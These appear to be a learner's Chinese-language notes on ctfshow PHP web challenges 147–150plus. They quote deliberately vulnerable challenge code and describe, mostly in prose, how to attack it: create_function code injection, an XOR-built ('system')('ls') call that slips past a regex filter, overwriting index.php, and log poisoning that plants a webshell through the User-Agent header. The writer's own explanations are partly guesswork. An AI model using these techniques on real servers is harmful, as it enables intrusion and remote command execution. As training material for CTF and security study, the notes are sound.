‘然后呢看到这题解我又蒙了 这没eval也照样能执行phpinfo();呀
总结
直接GET传过来的phpinfo();不行 需要加上eval
本地直接'phpinfo();'也不行 php不让
这题这种可以执行 唯一的解释就是 比如传参为phpinfo(); 到服务器就变成了'phpinfo();'
然后}把'包进去了 后面注释把‘注释了 就变成了phpinfo();
记住上面的四行即可 还有一点就是eval必须在服务器上 直接传是不行的
终于理解为什么之前说的双层eval 服务器本身还有一个
这个时候我觉得都解释通了 但是 这为什么不行呢 很炸裂 这里我有一种解释不知道对不对 就是之所以get中的那种可以 是因为在服务器上那是直接接收的get 而这个post已经被操作好多次了 只能这么解释了哈哈
还有一种解释 就是用到了create_function()代码注入 第二个参数被认定为可以执行的方法 而第一个参数就是字符串 哈哈哈这么解释应该是更对的 基本就是这个解释了 研究了一个多小时了 真的很感慨 现在是2024/3/2晚上九点 马上回寝室了 结果弄出来了 每次都是
create_function('',$GET[1]) 等同于
function niming($funcname){
$GET[1]; 按理说这个接收过来的是字符串 但是因为create_function函数原因 会将字符串转换为方法也就是可执行的
}
web148
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
唯一一点就是
eval("return $v1$v3$v2;");变为了
eval($code); 一个意思
第一个就是eval可以使return执行 从而进行了位运算以及位运算结果的函数执行
第二个直接就是进行位运算然后结果的函数执行 少了一个return
取反取消了使用异或即可构造出
('system')('ls');或者构造get_ctfshow_fl0g();也可以
或者
五点半
web149
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
该目录下只能存在index.php合格文件否则会删除 然后写数据到一个文件里 然后继续删除
那就把数据写到index文件中即可
再访问一次 他就提醒需要传入参数 这就代表成功了
伪协议也行一个意思
为什么用伪协议写进去的 是base64编码形式的数据也行呢? 因为过滤器以加密方式打开 写进去后 他也会以解密形式重新写入
web150
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
这道题其实代码有很多但是这题使用非预期的方式
先在u-a中传入木马
isVIP为true ctf为日志路径
1为执行的命令
web150plus
修复了非预期
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}